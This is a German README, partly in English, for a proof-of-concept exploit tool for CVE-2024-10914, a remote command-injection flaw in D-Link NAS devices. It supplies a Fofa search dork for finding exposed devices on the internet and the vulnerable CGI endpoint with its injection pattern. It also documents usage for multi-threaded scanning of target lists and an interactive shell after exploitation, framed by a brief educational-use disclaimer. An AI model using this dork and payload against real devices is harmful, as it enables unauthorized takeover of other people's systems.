CVE-2024-10914 - D-Link Remotecodeausführung (RCE) Exploit

Dieses Skript ist ein Proof-of-Concept (PoC) Exploit für CVE-2024-10914, eine Sicherheitslücke zur Remotecodeausführung in bestimmten D-Link Geräten. Das Skript identifiziert und nutzt anfällige Geräte aus, um beliebige Befehle auszuführen.

Hinweis: Dieses Skript sollte nur zu Bildungszwecken oder in autorisierten Umgebungen verwendet werden. Die unbefugte Ausnutzung dieser Sicherheitslücke kann illegal und unethisch sein.

Finding Targets
To find potential targets, use Fofa (similar to Shodan.io):

Fofa Dork: app="D_Link-DNS-ShareCenter" && server=="lighttpd/1.4.25-devel-fb150ff"

Funktionen

• Schwachstellenprüfung: Das Skript kann überprüfen, ob ein Ziel für CVE-2024-10914 anfällig ist.
• Exploit: Nutzen Sie die Sicherheitslücke aus, indem Sie Payloads senden, um eine Remotebefehlsausführung zu erreichen.
• Interaktive Shell: Nach der Ausnutzung wird eine interaktive Shell gestartet, um weitere Befehle auszuführen.
• Multi-Target-Scanning: Scannen Sie mehrere Ziele aus einer Datei mit mehreren Threads für eine schnellere Erkennung von Sicherheitslücken.

Voraussetzungen

• Python 3.x
• requests (für HTTP-Anfragen)
• alive-progress (für Fortschrittsbalken)
• prompt_toolkit (für die interaktive Shell)
• argparse (zur Verarbeitung von Befehlszeilenargumenten)

Um die erforderlichen Bibliotheken zu installieren, verwenden Sie:

pip3 install -r requirements.txt

Befehlszeilenargumente

usage: exploit.py [-h] [-u URL] [-f FILE] [-t THREADS] [-p PORT]

A PoC exploit for CVE-2024-10914 - D-Link Remote Code Execution (RCE)

optional arguments:
  -h, --help            Show this help message and exit
  -u URL, --url URL     Single target IP to test (e.g., 192.168.1.1)
  -f FILE, --file FILE  File containing list of target IPs to scan
  -t THREADS, --threads THREADS
                        Number of threads to use for scanning (default: 5)
  -p PORT, --port PORT  Port to target (default: 80)

Beispielverwendung

• Ein einzelnes Ziel überprüfen:

python3 exploit.py -u 192.168.1.100 -p 80

Mehrere Ziele aus einer Datei scannen

python3 exploit.py -f targets.txt -p 80 -t 10

Exploit-Details

Dieses Skript versucht, eine Sicherheitslücke in D-Link Geräten auszunutzen und zielt speziell auf Folgendes ab:

• Anfälliger Endpunkt: /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'
• Payloads: Verschiedene Systembefehle (id, uname -a, hostname, cat /proc/cpuinfo, etc.)

Der Exploit wird durchgeführt, indem Systembefehle in den anfälligen Endpunkt eingeschleust werden, was die entfernte Ausführung beliebiger Befehle auf dem Zielgerät auslöst.

Haftungsausschluss

Dieses Skript dient nur zu Bildungszwecken. Verwenden Sie dieses Skript nicht auf Systemen oder Netzwerken, für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

Die Autoren übernehmen keine Verantwortung für Missbrauch dieses Tools.

Weitere Details finden Sie im offiziellen GitHub-Repository: https://github.com/ThemeHackers/CVE-2024-10914

Mitwirken

Wenn Sie Probleme finden oder einen Beitrag leisten möchten, können Sie gerne ein Issue eröffnen oder einen Pull-Request im GitHub-Repository einreichen.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe LICENSE-Datei für Details.

Wichtige Abschnitte der README:

MIT License

Copyright (c) 2024 ds_zct

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.